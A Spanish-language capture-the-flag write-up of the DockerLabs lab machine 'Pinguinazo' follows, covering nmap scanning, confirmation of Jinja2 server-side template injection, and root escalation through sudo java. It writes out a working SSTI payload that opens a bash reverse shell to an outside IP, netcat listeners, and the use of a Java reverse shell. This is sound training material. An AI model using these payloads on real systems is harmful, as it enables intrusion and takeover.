> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pinguinazo.md).

# Pinguinazo

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Pinguinazo** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `pinguinazo.zip`:

```bash
7z x pinguinazo.zip
```

<figure><img src="/files/2zmhpYsX5sFk5x4RI1Kt" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `pinguinazo.tar`:

```bash
bash auto_deploy.sh pinguinazo.tar
```

<figure><img src="/files/RzTFhYYEFGhPbjyAdH3j" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/aWcaTI18nHtq3wwQHjpm" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puerto abierto identificado:**

* **Puerto 5000:** `UPNP`.

<figure><img src="/files/PRwRcZ6DAHl6jfb449zv" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p5000 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p5000`: Especifica el puerto a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 5000:** `Werkzeug/3.0.1 (Python/3.12.3)`, lo que indica un servidor Flask.

<figure><img src="/files/5eLq7wS9ShoqdneT0n7T" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al puerto 5000 desde el navegador (`http://172.17.0.2:5000/`) y encontramos un panel de registro con varios campos a proporcionar.

<figure><img src="/files/Hm6DVRXkJZSAXhNiV6LQ" alt=""><figcaption></figcaption></figure>

Al introducir datos de ejemplo y enviarlos, la aplicación responde con un mensaje de saludo personalizado.

Esto sugiere que la entrada del usuario se procesa directamente en el servidor, lo que podría ser vulnerable a **Server-Side Template Injection (SSTI)**.

<figure><img src="/files/rrbADAa5nQDU6GNnV3mi" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Confirmación de Vulnerabilidad SSTI:**

Para confirmar si la aplicación es vulnerable a SSTI, introducimos la siguiente entrada en el campo "PinguNombre":

```python
{{7*7}}
```

**Resultado:** La aplicación muestra `49`, confirmando que la entrada se interpreta como código del lado del servidor. Esto confirma la vulnerabilidad SSTI.

<figure><img src="/files/NVKL83Ykki93aCItN4aH" alt=""><figcaption></figcaption></figure>

#### **2. Obtención de una Reverse Shell:**

Explotamos la vulnerabilidad para obtener una reverse shell.

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 123
```

<figure><img src="/files/UIPztPPCiPx5Cbcct0qs" alt=""><figcaption></figcaption></figure>

Introducimos la siguiente entrada maliciosa en el campo "PinguNombre":

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/100.100.100.4/123 0>&1\'').read() }}
```

<figure><img src="/files/eSVkNe91n6ZE9EdeyY0g" alt=""><figcaption></figcaption></figure>

Confirmamos el acceso al sistema como el usuario `pinguinazo`.

<figure><img src="/files/m2DXN8iZbc7yv9BcvgJd" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Análisis de Privilegios:**

Ejecutamos el comando `sudo -l` para verificar los privilegios del usuario actual.

**Resultado:**

* El usuario puede ejecutar `/usr/bin/java` como `root` sin contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/java
```

<figure><img src="/files/W9VEtoIfpvqIrjNEreXI" alt=""><figcaption></figcaption></figure>

#### **2. Creación de un Archivo Malicioso en Java:**

Utilizamos [RevShells](https://www.revshells.com/) para generar una reverse shell en Java.

Copiamos el código y lo guardamos en un archivo `1.java`.

<figure><img src="/files/o6d8fQCqh6AnIAOB0DgW" alt=""><figcaption></figcaption></figure>

#### **3. Obtención de Shell como Root:**

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 1234
```

<figure><img src="/files/WZDuNQv3nqzNiIs9Zx2w" alt=""><figcaption></figcaption></figure>

Ejecutamos el script malicioso como `root` con el siguiente comando:

```bash
sudo -u root /usr/bin/java 1.java
```

<figure><img src="/files/tuKkSJIjPNybijqmsrJ7" alt=""><figcaption></figcaption></figure>

Confirmamos el acceso al sistema con privilegios de `root`.

<figure><img src="/files/DFPxLeuWcPpQfHyyGLt5" alt=""><figcaption></figcaption></figure>
